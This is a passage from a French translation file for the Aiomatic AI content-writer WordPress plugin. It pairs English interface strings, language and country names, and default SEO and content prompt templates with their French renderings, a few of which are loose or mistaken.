Rédacteur automatique de contenu d'IA" #: aiomatic-automatic-ai-content-writer.php:1151 msgid "Aiomatic AI Product Writer" msgstr "Rédacteur produit Aiomatic AI" #: aiomatic-automatic-ai-content-writer.php:1152 msgid "Aiomatic AI Content Editor" msgstr "Rédacteur de contenu AIomatic IA" #: aiomatic-automatic-ai-content-writer.php:1202 msgid "" "Post will be edited respecting the configurations you made in the 'AI " "Content Editor' plugin menu section." msgstr "" "L'article sera édité en respectant les configurations que vous avez faites " "dans la section du menu du plugin 'AI Content Editor'." #: aiomatic-automatic-ai-content-writer.php:1202 msgid "Manually Run AI Editing For This Post" msgstr "Exécuter manuellement l'édition de l'IA pour ce poste" #: aiomatic-automatic-ai-content-writer.php:1202 msgid "Edit/Add AI Content!" msgstr "Editez/ajoutez du contenu IA !" #: aiomatic-automatic-ai-content-writer.php:7668 msgctxt "taxonomy general name" msgid "Post Source" msgstr "Source de l’article" #: aiomatic-automatic-ai-content-writer.php:7669 msgctxt "taxonomy singular name" msgid "Post Source" msgstr "Source de l’article" #: aiomatic-automatic-ai-content-writer.php:7670 msgid "Search Post Source" msgstr "Chercher des sources d’articles" #: aiomatic-automatic-ai-content-writer.php:7671 msgid "Popular Post Source" msgstr "Source d'article populaire" #: aiomatic-automatic-ai-content-writer.php:7672 msgid "All Post Sources" msgstr "Toutes les sources d’articles" #: aiomatic-automatic-ai-content-writer.php:7675 msgid "Edit Post Source" msgstr "Editer la source des articles" #: aiomatic-automatic-ai-content-writer.php:7676 msgid "Update Post Source" msgstr "Mettre à jour la source de l’article" #: aiomatic-automatic-ai-content-writer.php:7677 msgid "Add New Post Source" msgstr "Ajouter une nouvelle source d’artcile" #: aiomatic-automatic-ai-content-writer.php:7678 msgid "New Post Source Name" msgstr "Nouveau nom pour la source d’articles" #: aiomatic-automatic-ai-content-writer.php:7679 msgid "Separate Post Source with commas" msgstr "Séparer les sources d’articles par des virgules" #: aiomatic-automatic-ai-content-writer.php:7680 msgid "Add or remove Post Source" msgstr "Ajouter ou retirer des sources d’articles" #: aiomatic-automatic-ai-content-writer.php:7681 msgid "Choose from the most used Post Source" msgstr "Choisissez parmi la source la plus utilisée" #: aiomatic-automatic-ai-content-writer.php:7682 msgid "No Post Sources found." msgstr "Aucune source d’articles trouvée." #: aiomatic-automatic-ai-content-writer.php:7683 msgid "Post Source" msgstr "Source de l’article" #: aiomatic-automatic-ai-content-writer.php:7747 #: aiomatic-automatic-ai-content-writer.php:7750 msgid "Embedding updated." msgstr "Mise à jour de l'intégration." #: aiomatic-automatic-ai-content-writer.php:7748 #: aiomatic-automatic-ai-content-writer.php:7764 msgid "Custom field updated." msgstr "Champ personnalisé mis à jour." #: aiomatic-automatic-ai-content-writer.php:7749 #: aiomatic-automatic-ai-content-writer.php:7765 msgid "Custom field deleted." msgstr "Champ personnalisé supprimé." #: aiomatic-automatic-ai-content-writer.php:7751 #, php-format msgid "Embedding restored to revision from %s" msgstr "L'intégration a été rétablie dans la révision à partir de %s" #: aiomatic-automatic-ai-content-writer.php:7752 msgid "Embedding published." msgstr "L'intégration a été publiée." #: aiomatic-automatic-ai-content-writer.php:7753 msgid "Embedding saved." msgstr "Intégration enregistrée." #: aiomatic-automatic-ai-content-writer.php:7754 msgid "Embedding submitted." msgstr "Intégration soumise." #: aiomatic-automatic-ai-content-writer.php:7755 #, php-format msgid "Embedding scheduled for: %1$s." msgstr "Intégration prévue pour : %1$s." #: aiomatic-automatic-ai-content-writer.php:7756 msgid "Embedding draft updated." msgstr "Mise à jour du brouillon d’intégration." #: aiomatic-automatic-ai-content-writer.php:7763 #: aiomatic-automatic-ai-content-writer.php:7766 msgid "Form updated." msgstr "Formulaire mis à jour." #: aiomatic-automatic-ai-content-writer.php:7767 #, php-format msgid "Form restored to revision from %s" msgstr "Formulaire restauré à la version du %s" #: aiomatic-automatic-ai-content-writer.php:7768 msgid "Form published." msgstr "Formulaire publié." #: aiomatic-automatic-ai-content-writer.php:7769 msgid "Form saved." msgstr "Formulaire sauvegardé." #: aiomatic-automatic-ai-content-writer.php:7770 msgid "Form submitted." msgstr "Formulaire soumis." #: aiomatic-automatic-ai-content-writer.php:7771 #, php-format msgid "Form scheduled for: %1$s." msgstr "Formulaire programmé pour : %1$s." #: aiomatic-automatic-ai-content-writer.php:7772 msgid "Form draft updated." msgstr "Le brouillon du formulaire a été mis à jour." #: aiomatic-automatic-ai-content-writer.php:8862 msgid "Google did not generate any audio for this text" msgstr "Google n'a pas généré de son pour ce texte" #: aiomatic-automatic-ai-content-writer.php:9135 msgid "" "Please enable curl PHP extension. Please contact your hosting provider's " "support to help you in this matter." msgstr "" "Veuillez activer l’extension PHP curl. Veuillez contacter le support de " "votre fournisseur d’hébergement pour vous aider dans cette affaire." #: aiomatic-automatic-ai-content-writer.php:9140 msgid "You are not allowed to activate plugins!" msgstr "Vous n’êtes pas autorisé à activer cette extension !" #: aiomatic-automatic-ai-content-writer.php:9148 #, php-format msgid "" "This plugin can not be activated because it requires a PHP version greater " "than %1$s. Please update your PHP version before you activate it." msgstr "" "Cette extension ne peut pas être activé car il nécessite une version PHP " "supérieure à%1$s. Veuillez mettre à jour votre version de PHP avant de " "l'activer." #: aiomatic-automatic-ai-content-writer.php:9154 #, php-format msgid "" "This plugin can not be activated because it requires a WordPress version " "greater than %1$s. Please go to Dashboard -> Updates to get the latest " "version of WordPress." msgstr "" "Ce plugin ne peut pas être activé car il nécessite une version WordPress " "supérieure à %1$s. Veuillez aller à Tableau de bord -> Mises à jour pour " "obtenir la dernière version de WordPress." #: aiomatic-helpers.php:6 msgid "United States" msgstr "États-Unis" #: aiomatic-helpers.php:7 msgid "United Kingdom" msgstr "Royaume-Uni" #: aiomatic-helpers.php:8 msgid "United Arab Emirates" msgstr "Émirats Arabes Unis" #: aiomatic-helpers.php:9 msgid "Turkey" msgstr "Turquie" #: aiomatic-helpers.php:10 msgid "Spain" msgstr "Espagne" #: aiomatic-helpers.php:11 msgid "Singapore" msgstr "Singapour" #: aiomatic-helpers.php:12 msgid "Mexico" msgstr "Mexique" #: aiomatic-helpers.php:13 msgid "Japan" msgstr "Japon" #: aiomatic-helpers.php:14 msgid "Italy" msgstr "Italie" #: aiomatic-helpers.php:15 msgid "Canada" msgstr "Canada" #: aiomatic-helpers.php:16 msgid "Germany" msgstr "Allemagne" #: aiomatic-helpers.php:17 msgid "France" msgstr "France" #: aiomatic-helpers.php:18 msgid "Brasil" msgstr "Brésil" #: aiomatic-helpers.php:19 msgid "India" msgstr "Inde" #: aiomatic-helpers.php:20 msgid "Australia" msgstr "Australie" #: aiomatic-helpers.php:21 msgid "Egypt" msgstr "Égypte" #: aiomatic-helpers.php:22 msgid "Poland" msgstr "Pologne" #: aiomatic-helpers.php:23 msgid "Saudi Arabia" msgstr "Arabie Saoudite" #: aiomatic-helpers.php:24 msgid "Sweden" msgstr "Suède" #: aiomatic-helpers.php:25 msgid "Netherlands" msgstr "Pays-Bas" #. translators: 1: The name of the PHP constant that is set. #: aiomatic-helpers.php:143 #, php-format msgid "The %s constant is set to true. WP-Cron spawning is disabled." msgstr "La constante %s est activée. WP-Cron est désactivé." #. translators: 1: The name of the PHP constant that is set. #: aiomatic-helpers.php:148 #, php-format msgid "The %s constant is set to true." msgstr "La constante %s est activée, de même pour WP-Cron." #. translators: 1: The HTTP response code. #: aiomatic-helpers.php:179 #, php-format msgid "Unexpected HTTP response code: %s" msgstr "Code de réponse HTTP inattendu : %s" #: aiomatic-helpers.php:1431 msgid "GPT3 Modal" msgstr "GPT3 Modal" #: aiomatic-shortcodes-file.php:9 msgid "Please log in to your account to see usage info." msgstr "" "Veuillez vous connecter à votre compte pour consulter les informations " "relatives à l'utilisation." #: aiomatic-shortcodes-file.php:38 msgid "Form ID not found in the database!" msgstr "L'ID du formulaire n'a pas été trouvé dans la base de données !" #: aiomatic-shortcodes-file.php:326 msgid "AI Settings" msgstr "Paramètres de l'IA" #: aiomatic-shortcodes-file.php:328 res/admin/ai-post-gutenberg.php:39 #: res/admin/ai-post.php:33 res/image-seo/seo-panel.php:46 msgid "AI Model" msgstr "Modèle d'IA" #: aiomatic-shortcodes-file.php:339 res/aiomatic-amazon-list.php:3680 #: res/aiomatic-rules-list.php:4146 res/aiomatic-youtube-list.php:3713 msgid "AI Temperature" msgstr "Température de l'IA" #: aiomatic-shortcodes-file.php:372 msgid "You need to specify the id parameter for this shortcode to work!" msgstr "" "Vous devez spécifier le paramètre ID pour que ce shortcode fonctionne !" #: aiomatic-shortcodes-file.php:2868 aiomatic-shortcodes-file.php:3018 #: aiomatic-shortcodes-file.php:3108 aiomatic-shortcodes-file.php:3203 #: aiomatic-shortcodes-file.php:4076 aiomatic-shortcodes-file.php:4743 msgid "Please select a prompt" msgstr "Veuillez sélectionner un Prompt/ titre" #: res/StatisticsClass.php:120 res/StatisticsClass.php:134 #: res/StatisticsClass.php:221 res/StatisticsClass.php:335 #: res/StatisticsClass.php:339 msgid "You have reached the usage limit." msgstr "Vous avez atteint la limite d’utilisation." #: res/StatisticsClass.php:422 msgid "Limits not available" msgstr "Limites non disponibles" #: res/StatisticsClass.php:520 res/StatisticsClass.php:538 #: res/StatisticsClass.php:556 msgid "used" msgstr "utilisé" #: res/StatisticsClass.php:523 res/StatisticsClass.php:541 #: res/StatisticsClass.php:559 res/StatisticsClass.php:635 #: res/StatisticsClass.php:648 res/StatisticsClass.php:661 msgid " used from a maximum of " msgstr " utilisé à partir d'un maximum de " #: res/StatisticsClass.php:527 res/StatisticsClass.php:639 msgid "queries" msgstr "requêtes" #: res/StatisticsClass.php:545 res/StatisticsClass.php:652 msgid "tokens" msgstr "jetons" #: res/StatisticsClass.php:563 res/StatisticsClass.php:665 msgid "USD" msgstr "USD" #: res/StatisticsClass.php:677 msgid "No limit" msgstr "Pas de limite" #: res/admin/ai-post-gutenberg.php:6 res/admin/ai-post.php:6 msgid "Title Idea / Keywords" msgstr "Idée de titre / Mots-clés" #: res/admin/ai-post-gutenberg.php:11 msgid "What To Generate?" msgstr "Que générer ?" #: res/admin/ai-post-gutenberg.php:13 res/admin/ai-post.php:11 msgid "Generate A SEO Title" msgstr "Générer un titre SEO" #: res/admin/ai-post-gutenberg.php:17 res/admin/ai-post.php:15 msgid "Generate A SEO Meta Description" msgstr "Générer une méta-description pour le référencement" #: res/admin/ai-post-gutenberg.php:21 res/admin/ai-post.php:19 msgid "Generate Content" msgstr "Générer du contenu" #: res/admin/ai-post-gutenberg.php:25 res/admin/ai-post.php:23 msgid "Generate Short Description (Excerpt)" msgstr "Générer une courte description (extrait)" #: res/admin/ai-post-gutenberg.php:29 res/admin/ai-post.php:27 msgid "Generate Tags" msgstr "Générer des étiquettes/Tags" #: res/admin/ai-post-gutenberg.php:33 res/admin/ai-post.php:31 msgid "Toggle Advanced Options" msgstr "Basculer vers les options avancées" #: res/admin/ai-post-gutenberg.php:37 res/aiomatic-amazon-list.php:320 #: res/aiomatic-amazon-list.php:2704 res/aiomatic-limits-statistics.php:139 #: res/aiomatic-limits-statistics.php:1515 res/aiomatic-rules-list.php:335 #: res/aiomatic-rules-list.php:2990 res/aiomatic-youtube-list.php:320 #: res/aiomatic-youtube-list.php:2728 msgid "Advanced Settings" msgstr "Paramètres avancés" #: res/admin/ai-post-gutenberg.php:55 res/admin/ai-post.php:48 #: res/aiomatic-amazon-list.php:3072 res/aiomatic-rules-list.php:3283 #: res/aiomatic-youtube-list.php:3053 msgid "Title Prompt" msgstr "Titre du Prompt" #: res/admin/ai-post-gutenberg.php:58 res/admin/ai-post-gutenberg.php:68 #: res/admin/ai-post-gutenberg.php:78 res/admin/ai-post-gutenberg.php:88 #: res/admin/ai-post-gutenberg.php:98 res/admin/ai-post.php:51 #: res/admin/ai-post.php:61 res/admin/ai-post.php:71 res/admin/ai-post.php:81 #: res/admin/ai-post.php:91 #, php-format msgid "" "You can use the following shortcodes here: %%post_title_idea%%, " "%%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%" msgstr "" "Vous pouvez utiliser les shortcodes suivants ici : %%post_title_idea%%, " "%%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%" #: res/admin/ai-post-gutenberg.php:63 res/admin/ai-post.php:56 #, php-format msgid "" "Create a captivating and concise SEO title in English for your WordPress %s: " "\"%s\". Boost its search engine visibility with relevant keywords for " "maximum impact." msgstr "" "Créez un titre SEO captivant et concis en anglais pour votre site WordPress " "%s : \"%s\". Améliorez sa visibilité dans les moteurs de recherche avec des " "mots-clés pertinents pour un impact maximal." #: res/admin/ai-post-gutenberg.php:65 res/admin/ai-post.php:58 msgid "SEO Meta Description Prompt" msgstr "Prompt de la méta-description SEO" #: res/admin/ai-post-gutenberg.php:73 res/admin/ai-post.php:66 #, php-format msgid "" "Craft an enticing and succinct meta description in English for your " "WordPress %s: \"%s\". Emphasize the notable features and advantages in just " "155 characters, incorporating relevant keywords to optimize its SEO " "performance." msgstr "" "Rédigez une méta-description succincte et attrayante en anglais pour votre " "WordPress %s : \"%s\". Mettez l'accent sur les caractéristiques et les " "avantages notables en seulement 155 caractères, en incorporant des mots-clés " "pertinents pour optimiser ses performances en matière de référencement." #: res/admin/ai-post-gutenberg.php:75 res/admin/ai-post.php:68 #: res/aiomatic-amazon-list.php:3140 res/aiomatic-rules-list.php:3385 #: res/aiomatic-youtube-list.php:3155 msgid "Content Prompt" msgstr "Contenu du Prompt" #: res/admin/ai-post-gutenberg.php:83 res/admin/ai-post.php:76 #, php-format msgid "" "Create a captivating and comprehensive English description for your " "WordPress %s: \"%s\". Dive into specific details, highlighting its unique " "features of this subject, if possible, benefits, and the value it brings. " "Craft a compelling narrative around the %s that captivates the audience. Use " "HTML for formatting, include unnumbered lists and bold. Writing Style: " "Creative. Tone: Neutral." msgstr "" "Créez une description captivante et complète en anglais pour votre site " "WordPress %s : \"%s\". Plongez dans les détails spécifiques, en soulignant " "les caractéristiques uniques de ce sujet, si possible, les avantages et la " "valeur qu'il apporte. Rédigez un récit convaincant autour du %s qui captive " "le public. Utilisez le langage HTML pour la mise en forme, incluez des " "listes non numérotées et des caractères gras. Style d'écriture : Créatif. " "Ton : neutre." #: res/admin/ai-post-gutenberg.php:85 res/admin/ai-post.php:78 msgid "Short Description Prompt" msgstr "Brève description du Prompt" #: res/admin/ai-post-gutenberg.php:93 res/admin/ai-post.php:86 #, php-format msgid "" "Write a captivating and succinct English summary for the WordPress %s: " "\"%s\", accentuating its pivotal features, advantages, and distinctive " "qualities." msgstr "" "Rédigez un résumé captivant et succinct en anglais pour le site WordPress " "%s : \"%s\", en mettant l'accent sur ses principales caractéristiques, ses " "avantages et ses qualités distinctives." #: res/admin/ai-post-gutenberg.php:95 res/admin/ai-post.php:88 msgid "Tags Prompt" msgstr "Tags Prompt" #: res/admin/ai-post-gutenberg.php:103 res/admin/ai-post.php:96 #, php-format msgid "" "Suggest a series of pertinent keywords in English for your WordPress %s: " "\"%s\". These keywords should be closely connected to the %s, optimizing its " "visibility. Please present the keywords in a comma-separated format without " "using symbols like -, #, etc." msgstr "" "Suggérer une série de mots-clés pertinents en anglais pour votre site " "WordPress %s : \"%s\". Ces mots-clés doivent être étroitement liés au %s, " "afin d'optimiser sa visibilité. Veuillez présenter les mots-clés dans un " "format séparé par des virgules, sans utiliser de symboles tels que -, #, etc." #: res/admin/ai-post-gutenberg.php:107 msgid "AI Generated Results" msgstr "Résultats générés par l'IA" #: res/admin/ai-post-gutenberg.php:110 msgid "AI Generated Title" msgstr "Titre généré par l'IA" #: res/admin/ai-post-gutenberg.php:115 msgid "AI Generated SEO Meta Description" msgstr "Meta Description SEO générée par l'IA" #: res/admin/ai-post-gutenberg.php:120 msgid "AI Generated Content" msgstr "Contenu généré par l'IA" #: res/admin/ai-post-gutenberg.php:125 msgid "AI Generated Excerpt" msgstr "Extrait généré par l'IA" #: res/admin/ai-post-gutenberg.php:130 msgid "AI Generated Tags" msgstr "Tags générés par l'IA" #: res/admin/ai-post-gutenberg.php:136 res/admin/ai-post.php:100 msgid "Generate Using AI" msgstr "Générer en utilisant l'IA" #: res/admin/ai-post-gutenberg.php:137 msgid "Save AI Content" msgstr "Sauvegarder le contenu de l'IA" #: res/aiomatic-amazon-list.php:5 res/aiomatic-main.php:5660 #: res/aiomatic-rules-list.php:5 res/aiomatic-single-list.php:6 #: res/aiomatic-youtube-list.php:5 msgid "English" msgstr "Anglais" #: res/aiomatic-amazon-list.php:6 res/aiomatic-main.php:5680 #: res/aiomatic-rules-list.php:6 res/aiomatic-single-list.php:7 #: res/aiomatic-youtube-list.php:6 msgid "Spanish" msgstr "Espagnol" #: res/aiomatic-amazon-list.php:7 res/aiomatic-main.php:5685 #: res/aiomatic-rules-list.php:7 res/aiomatic-single-list.php:8 #: res/aiomatic-youtube-list.php:7 msgid "French" msgstr "Français" #: res/aiomatic-amazon-list.php:8 res/aiomatic-main.php:5695 #: res/aiomatic-rules-list.php:8 res/aiomatic-single-list.php:9 #: res/aiomatic-youtube-list.php:8 msgid "Italian" msgstr "Italien" #: res/aiomatic-amazon-list.php:9 res/aiomatic-rules-list.php:9 #: res/aiomatic-single-list.php:10 res/aiomatic-youtube-list.php:9 msgid "Afrikaans" msgstr "Africain" #: res/aiomatic-amazon-list.php:10 res/aiomatic-rules-list.php:10 #: res/aiomatic-single-list.php:11 res/aiomatic-youtube-list.php:10 msgid "Albanian" msgstr "Albanais" #: res/aiomatic-amazon-list.php:11 res/aiomatic-rules-list.php:11 #: res/aiomatic-single-list.php:12 res/aiomatic-youtube-list.php:11 msgid "Arabic" msgstr "Arabe" #: res/aiomatic-amazon-list.php:12 res/aiomatic-rules-list.php:12 #: res/aiomatic-single-list.php:13 res/aiomatic-youtube-list.php:12 msgid "Amharic" msgstr "Amharique" #: res/aiomatic-amazon-list.php:13 res/aiomatic-rules-list.php:13 #: res/aiomatic-single-list.php:14 res/aiomatic-youtube-list.php:13 msgid "Armenian" msgstr "Arménien" #: res/aiomatic-amazon-list.php:14 res/aiomatic-rules-list.php:14 #: res/aiomatic-single-list.php:15 res/aiomatic-youtube-list.php:14 msgid "Belarusian" msgstr "Biélorusse" #: res/aiomatic-amazon-list.php:15 res/aiomatic-main.php:5760 #: res/aiomatic-rules-list.php:15 res/aiomatic-single-list.php:16 #: res/aiomatic-youtube-list.php:15 msgid "Bulgarian" msgstr "Bulgare" #: res/aiomatic-amazon-list.php:16 res/aiomatic-rules-list.php:16 #: res/aiomatic-single-list.php:17 res/aiomatic-youtube-list.php:16 msgid "Catalan" msgstr "Catalan" #: res/aiomatic-amazon-list.php:17 res/aiomatic-rules-list.php:17 #: res/aiomatic-single-list.php:18 res/aiomatic-youtube-list.php:17 msgid "Chinese Simplified" msgstr "Chinois simplifié" #: res/aiomatic-amazon-list.php:18 res/aiomatic-rules-list.php:18 #: res/aiomatic-single-list.php:19 res/aiomatic-youtube-list.php:18 msgid "Croatian" msgstr "Croate" #: res/aiomatic-amazon-list.php:19 res/aiomatic-main.php:5665 #: res/aiomatic-rules-list.php:19 res/aiomatic-single-list.php:20 #: res/aiomatic-youtube-list.php:19 msgid "Czech" msgstr "Tchèque" #: res/aiomatic-amazon-list.php:20 res/aiomatic-main.php:5670 #: res/aiomatic-rules-list.php:20 res/aiomatic-single-list.php:21 #: res/aiomatic-youtube-list.php:20 msgid "Danish" msgstr "Danois" #: res/aiomatic-amazon-list.php:21 res/aiomatic-main.php:5705 #: res/aiomatic-rules-list.php:21 res/aiomatic-single-list.php:22 #: res/aiomatic-youtube-list.php:21 msgid "Dutch" msgstr "Néerlandais" #: res/aiomatic-amazon-list.php:22 res/aiomatic-rules-list.php:22 #: res/aiomatic-single-list.php:23 res/aiomatic-youtube-list.php:22 msgid "Estonian" msgstr "Estonien" #: res/aiomatic-amazon-list.php:23 res/aiomatic-rules-list.php:23 #: res/aiomatic-single-list.php:24 res/aiomatic-youtube-list.php:23 msgid "Filipino" msgstr "Philippin" #: res/aiomatic-amazon-list.php:24 res/aiomatic-rules-list.php:24 #: res/aiomatic-single-list.php:25 res/aiomatic-youtube-list.php:24 msgid "Finnish" msgstr "Finnois" #: res/aiomatic-amazon-list.php:25 res/aiomatic-rules-list.php:25 #: res/aiomatic-single-list.php:26 res/aiomatic-youtube-list.php:25 msgid "Galician" msgstr "Galicien" #: res/aiomatic-amazon-list.php:26 res/aiomatic-main.php:5675 #: res/aiomatic-rules-list.php:26 res/aiomatic-single-list.php:27 #: res/aiomatic-youtube-list.php:26 msgid "German" msgstr "Allemand" #: res/aiomatic-amazon-list.php:27 res/aiomatic-main.php:5770 #: res/aiomatic-rules-list.php:27 res/aiomatic-single-list.php:28 #: res/aiomatic-youtube-list.php:27 msgid "Greek" msgstr "Grec" #: res/aiomatic-amazon-list.php:28 res/aiomatic-rules-list.php:28 #: res/aiomatic-single-list.php:29 res/aiomatic-youtube-list.php:28 msgid "Hebrew" msgstr "Hébreu" #: res/aiomatic-amazon-list.php:29 res/aiomatic-rules-list.php:29 #: res/aiomatic-single-list.php:30 res/aiomatic-youtube-list.php:29 msgid "Hindi" msgstr "Hindi" #: res/aiomatic-amazon-list.php:30 res/aiomatic-main.php:5700 #: res/aiomatic-rules-list.php:30 res/aiomatic-single-list.php:31 #: res/aiomatic-youtube-list.php:30 msgid "Hungarian" msgstr "Hongrois" #: res/aiomatic-amazon-list.php:31 res/aiomatic-rules-list.php:31 #: res/aiomatic-single-list.php:32 res/aiomatic-youtube-list.php:31 msgid "Icelandic" msgstr "Islandais" #: res/aiomatic-amazon-list.php:32 res/aiomatic-main.php:5690 #: res/aiomatic-rules-list.php:32 res/aiomatic-single-list.php:33 #: res/aiomatic-youtube-list.php:32 msgid "Indonesian" msgstr "Indonésien" #: res/aiomatic-amazon-list.php:33 res/aiomatic-rules-list.php:33 #: res/aiomatic-single-list.php:34 res/aiomatic-youtube-list.php:33 msgid "Irish" msgstr "Irlandais" #: res/aiomatic-amazon-list.php:34 res/aiomatic-main.php:5775 #: res/aiomatic-rules-list.php:34 res/aiomatic-single-list.php:35 #: res/aiomatic-youtube-list.php:34 msgid "Japanese" msgstr "Japonais" #: res/aiomatic-amazon-list.php:35 res/aiomatic-main.php:5780 #: res/aiomatic-rules-list.php:35 res/aiomatic-single-list.php:36 #: res/aiomatic-youtube-list.php:35 msgid "Korean" msgstr "Coréen" #: res/aiomatic-amazon-list.php:36 res/aiomatic-rules-list.php:36 #: res/aiomatic-single-list.php:37 res/aiomatic-youtube-list.php:36 msgid "Latvian" msgstr "Letton" #: res/aiomatic-amazon-list.php:37 res/aiomatic-rules-list.php:37 #: res/aiomatic-single-list.php:38 res/aiomatic-youtube-list.php:37 msgid "Lithuanian" msgstr "Lituanien" #: res/aiomatic-amazon-list.php:38 res/aiomatic-rules-list.php:38 #: res/aiomatic-single-list.php:39 res/aiomatic-youtube-list.php:38 msgid "Norwegian" msgstr "Norvégien" #: res/aiomatic-amazon-list.php:39 res/aiomatic-rules-list.php:39 #: res/aiomatic-single-list.php:40 res/aiomatic-youtube-list.php:39 msgid "Macedonian" msgstr "Macédoine" #: res/aiomatic-amazon-list.php:40 res/aiomatic-rules-list.php:40 #: res/aiomatic-single-list.php:41 res/aiomatic-youtube-list.php:40 msgid "Malay" msgstr "Malay" #: res/aiomatic-amazon-list.php:41 res/aiomatic-rules-list.php:41 #: res/aiomatic-single-list.php:42 res/aiomatic-youtube-list.php:41 msgid "Maltese" msgstr "Maltais" #: res/aiomatic-amazon-list.php:42 res/aiomatic-rules-list.php:42 #: res/aiomatic-single-list.php:43 res/aiomatic-youtube-list.php:42 msgid "Persian" msgstr "Perse" #: res/aiomatic-amazon-list.php:43 res/aiomatic-main.php:5715 #: res/aiomatic-rules-list.php:43 res/aiomatic-single-list.php:44 #: res/aiomatic-youtube-list.php:43 msgid "Polish" msgstr "Polonais" #: res/aiomatic-amazon-list.php:44 res/aiomatic-main.php:5720 #: res/aiomatic-rules-list.php:44 res/aiomatic-single-list.php:45 #: res/aiomatic-youtube-list.php:44 msgid "Portuguese" msgstr "Portugais" #: res/aiomatic-amazon-list.php:45 res/aiomatic-main.php:5725 #: res/aiomatic-rules-list.php:45 res/aiomatic-single-list.php:46 #: res/aiomatic-youtube-list.php:45 msgid "Romanian" msgstr "Roumain" #: res/aiomatic-amazon-list.php:46 res/aiomatic-main.php:5765 #: res/aiomatic-rules-list.php:46 res/aiomatic-single-list.php:47 #: res/aiomatic-youtube-list.php:46 msgid "Russian" msgstr "Russe" #: res/aiomatic-amazon-list.php:47 res/aiomatic-rules-list.php:47 #: res/aiomatic-single-list.php:48 res/aiomatic-youtube-list.php:47 msgid "Serbian" msgstr "Serbe" #: res/aiomatic-amazon-list.php:48 res/aiomatic-main.php:5730 #: res/aiomatic-rules-list.php:48 res/aiomatic-single-list.php:49 #: res/aiomatic-youtube-list.php:48 msgid "Slovak" msgstr "Slovaque" #: res/aiomatic-amazon-list.php:49 res/aiomatic-rules-list.php:49 #: res/aiomatic-single-list.php:50 res/aiomatic-youtube-list.php:49 msgid "Slovenian" msgstr "Slovène" #: res/aiomatic-amazon-list.php:50 res/aiomatic-amazon-list.php:104 #: res/aiomatic-rules-list.php:50 res/aiomatic-rules-list.php:104 #: res/aiomatic-single-list.php:51 res/aiomatic-single-list.php:105 #: res/aiomatic-youtube-list.php:50 res/aiomatic-youtube-list.php:104 msgid "Swahili" msgstr "Swahili" #: res/aiomatic-amazon-list.php:51 res/aiomatic-main.php:5740 #: res/aiomatic-rules-list.php:51 res/aiomatic-single-list.php:52 #: res/aiomatic-youtube-list.php:51 msgid "Swedish" msgstr "Suédois" #: res/aiomatic-amazon-list.php:52 res/aiomatic-main.php:5755 #: res/aiomatic-rules-list.php:52 res/aiomatic-single-list.php:53 #: res/aiomatic-youtube-list.php:52 msgid "Thai" msgstr "Thaïlandais" #: res/aiomatic-amazon-list.php:53 res/aiomatic-main.php:5745 #: res/aiomatic-rules-list.php:53 res/aiomatic-single-list.php:54 #: res/aiomatic-youtube-list.php:53 msgid "Turkish" msgstr "Turc" #: res/aiomatic-amazon-list.php:54 res/aiomatic-rules-list.php:54 #: res/aiomatic-single-list.php:55 res/aiomatic-youtube-list.php:54 msgid "Ukrainian" msgstr "Ukrainien" #: res/aiomatic-amazon-list.php:55 res/aiomatic-main.php:5750 #: res/aiomatic-rules-list.php:55 res/aiomatic-single-list.php:56 #: res/aiomatic-youtube-list.php:55 msgid "Vietnamese" msgstr "Vietnamien" #: res/aiomatic-amazon-list.php:56 res/aiomatic-rules-list.php:56 #: res/aiomatic-single-list.php:57 res/aiomatic-youtube-list.php:56 msgid "Welsh" msgstr "Gallois" #: res/aiomatic-amazon-list.php:57 res/aiomatic-rules-list.php:57 #: res/aiomatic-single-list.php:58 res/aiomatic-youtube-list.php:57 msgid "Yiddish" msgstr "Yiddish" #: res/aiomatic-amazon-list.php:58 res/aiomatic-rules-list.php:58 #: res/aiomatic-single-list.php:59 res/aiomatic-youtube-list.php:58 msgid "Tamil" msgstr "Tamoul" #: res/aiomatic-amazon-list.php:59 res/aiomatic-rules-list.php:59 #: res/aiomatic-single-list.php:60 res/aiomatic-youtube-list.php:59 msgid "Azerbaijani" msgstr "Azerbaïdjanais" #: res/aiomatic-amazon-list.php:60 res/aiomatic-rules-list.php:60 #: res/aiomatic-single-list.php:61 res/aiomatic-youtube-list.php:60 msgid "Kannada" msgstr "Canada" #: res/aiomatic-amazon-list.php:61 res/aiomatic-rules-list.php:61 #: res/aiomatic-single-list.php:62 res/aiomatic-youtube-list.php:61 msgid "Basque" msgstr "Basque" #: res/aiomatic-amazon-list.php:62 res/aiomatic-rules-list.php:62 #: res/aiomatic-single-list.php:63 res/aiomatic-youtube-list.php:62 msgid "Bengali" msgstr "Bengali" #: res/aiomatic-amazon-list.php:63 res/aiomatic-rules-list.php:63 #: res/aiomatic-single-list.php:64 res/aiomatic-youtube-list.php:63 msgid "Latin" msgstr "Latin" #: res/aiomatic-amazon-list.php:64 res/aiomatic-rules-list.php:64 #: res/aiomatic-single-list.php:65 res/aiomatic-youtube-list.php:64 msgid "Chinese Traditional" msgstr "Chinois traditionnel" #: res/aiomatic-amazon-list.php:65 res/aiomatic-rules-list.php:65 #: res/aiomatic-single-list.php:66 res/aiomatic-youtube-list.php:65 msgid "Esperanto" msgstr "Esperanto" #: res/aiomatic-amazon-list.php:66 res/aiomatic-rules-list.php:66 #: res/aiomatic-single-list.php:67 res/aiomatic-youtube-list.php:66 msgid "Georgian" msgstr "Georgien" #: res/aiomatic-amazon-list.php:67 res/aiomatic-rules-list.php:67 #: res/aiomatic-single-list.php:68 res/aiomatic-youtube-list.php:67 msgid "Telugu" msgstr "Telugu" #: res/aiomatic-amazon-list.php:68 res/aiomatic-rules-list.php:68 #: res/aiomatic-single-list.php:69 res/aiomatic-youtube-list.php:68 msgid "Gujarati" msgstr "Gujarati" #: res/aiomatic-amazon-list.php:69 res/aiomatic-rules-list.php:69 #: res/aiomatic-single-list.php:70 res/aiomatic-youtube-list.php:69 msgid "Haitian Creole" msgstr "Haïtien" #: res/aiomatic-amazon-list.php:70 res/aiomatic-rules-list.php:70 #: res/aiomatic-single-list.php:71 res/aiomatic-youtube-list.php:70 msgid "Urdu" msgstr "Urdu" #: res/aiomatic-amazon-list.php:71 res/aiomatic-rules-list.php:71 #: res/aiomatic-single-list.php:72 res/aiomatic-youtube-list.php:71 msgid "Burmese" msgstr "Birman" #: res/aiomatic-amazon-list.php:72 res/aiomatic-rules-list.php:72 #: res/aiomatic-single-list.php:73 res/aiomatic-youtube-list.php:72 msgid "Bosnian" msgstr "Bosniaque" #: res/aiomatic-amazon-list.php:73 res/aiomatic-rules-list.php:73 #: res/aiomatic-single-list.php:74 res/aiomatic-youtube-list.php:73 